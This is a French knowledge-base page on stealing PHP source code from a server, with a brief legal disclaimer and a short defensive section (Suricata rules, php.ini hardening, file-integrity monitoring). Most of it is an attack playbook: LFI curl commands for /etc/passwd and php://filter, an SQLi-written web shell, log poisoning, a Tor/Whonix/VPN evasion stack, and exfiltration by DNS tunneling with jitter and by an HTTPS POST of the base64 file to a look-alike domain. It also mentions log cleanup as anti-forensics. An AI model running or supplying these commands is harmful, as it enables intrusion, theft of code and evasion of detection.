Explorer
KNOW-PAT-148

Exfiltration code source serveur — méthodologie et protection

Domaine
cybersecu
Type
pattern
Priorité
P2

Parent : [[INDEX-CYBERSECU]]

Exfiltration de Code Source Serveur - Méthodologie & Protection

Disclaimer: Ce document est à usage éducatif et pour tests de pénétration autorisés uniquement. L'accès non autorisé à un système informatique est un délit (Articles 323-1 à 323-7 du Code pénal français / CFAA aux USA).

Architecture de l'attaque

┌─────────────────┐     ┌──────────────────┐     ┌─────────────────┐
│  RECONNAISSANCE │────▶│ EXPLOITATION     │────▶│  EXFILTRATION   │
│  (OSINT/passive)│     │ (LFI/RFI/SQLi/RCE)│     │ (Covert channels)│
└─────────────────┘     └──────────────────┘     └─────────────────┘
         │                        │                        │
    [VPN basique]            [VM + VPN + Proxy]       [VM + VPN chaîné 
                                                       + Encodage]

Phase 1 : Accès Initial (Le plus critique)

Vecteurs pour fichiers source PHP

Vecteur Prérequis Payload type Détection IDS
LFI to RCE include($_GET['page']) php://filter/convert.base64-encode/resource=prizes.php Medium (b64 dans logs)
SQLi → File Write FILE priv, secure_file_priv bypass SELECT '<?php system($_GET[1]);?>' INTO OUTFILE High (file create)
Log Poisoning LFI + logs écrits par user Inject PHP dans User-Agent → include log Low (si sporadique)
PHP Wrapper allow_url_include=On data://text/plain;base64,PD9waHAg... Medium
Backup Files Dev negligence prizes.php~, prizes.php.bak, .git/ Low (passive scan)

Chaîne LFI classique pour source PHP

# Étape 1: Confirmation LFI
curl "https://target.com/?page=../../../../etc/passwd"

# Étape 2: Contournement du filtre (double encoding)
curl "https://target.com/?page=%252e%252e%252fprizes.php"

# Étape 3: Extraction via PHP filter (base64 pour éviter execution)
curl "https://target.com/?page=php://filter/convert.base64-encode/resource=prizes.php" \
  -H "User-Agent: Mozilla/5.0" \
  --proxy socks5://127.0.0.1:9050  # Tor

Phase 2 : Exfiltration Propre

Pourquoi le VPN seul échoue

  1. Volume anormal: Télécharger prizes.php (5KB) crée un spike détectable
  2. Heuristique comportementale: Première connexion → immédiatement download fichier sensibles
  3. Corrélation temporelle: LFI probe à 14:32:15 → File download 14:32:18
  4. Fingerprinting: Même navigateur, même résolution, mêmes fonts malgré IP différente

Stack OPSEC Minimal Requise

[Machine physique dédiée] 
    → [VM Whonix Workstation] 
    → [Whonix Gateway (Tor)] 
    → [VPN commercial (pays différent)] 
    → [Cible]

Commandes d'exfiltration furtive

# Méthode 1: Encodage + Steganographie (si upload image possible)
cat prizes.php | gzip | base64 | xxd -p | sed 's/../& /g' > hex_chunks.txt
# Injecter dans métadonnées images uploadées publiquement

# Méthode 2: DNS tunneling (lent mais traverse firewalls)
for chunk in $(cat prizes.php.b64 | fold -w 50); do
    dig +short "$chunk.yourdomain.com"
    sleep $((RANDOM % 10 + 5))  # Jitter pour éviter detection temporelle
done

# Méthode 3: HTTPS blending (mimique traffic normal)
curl -X POST https://legitimate-looking-domain.com/analytics \
  -H "Content-Type: application/json" \
  -d "{\"data\": \"$(cat prizes.php | base64 -w 0)\"}"

Protections Défensives (Blue Team)

Détection de LFI/RFI

# Suricata rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
    msg:"ET WEB_SERVER Possible LFI Attack"; 
    flow:to_server,established;
    content:"/etc/passwd"; 
    reference:url,https://owasp.org/www-project-top-ten/;
    sid:2011000;
)

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
    msg:"PHP Filter LFI Attempt";
    content:"php://filter"; 
    http_uri;
    sid:2011001;
)

Hardening PHP

; php.ini
allow_url_fopen = Off
allow_url_include = Off
open_basedir = /var/www/html:/tmp
expose_php = Off
display_errors = Off
log_errors = On

File Integrity Monitoring

# AIDE (Advanced Intrusion Detection Environment)
aideinit
# Surveille /var/www/html/prizes.php
# Alert si hash change ou fichier lu par process non-Apache

Résumé OPSEC par Phase

Phase Technique Niveau OPSEC Durée
Reconnaissance OSINT passive (whois, shodan) VPN seul suffit Jours/Semaines
Exploitation LFI/RCE attempt VM + VPN + MAC spoof Minutes
Exfiltration File download VM + VPN chaîné + Encodage Secondes (splitées)
Post-exploitation Cleanup logs Même niveau + anti-forensics Minutes

Conclusion

Pour prizes.php spécifiquement :

  1. Impossible de l'obtenir sans compromission serveur (c'est du PHP serveur-side)
  2. Une fois RCE obtenu, le téléchargement direct est suicidaire sans OPSEC
  3. La méthode "propre" demande : VM isolée + Tor + VPN + Jitter temporel + Encodage

Rappel légal: Sans contrat de penetration test signé, cette infrastructure sert uniquement à la défense (honey pots, testing interne).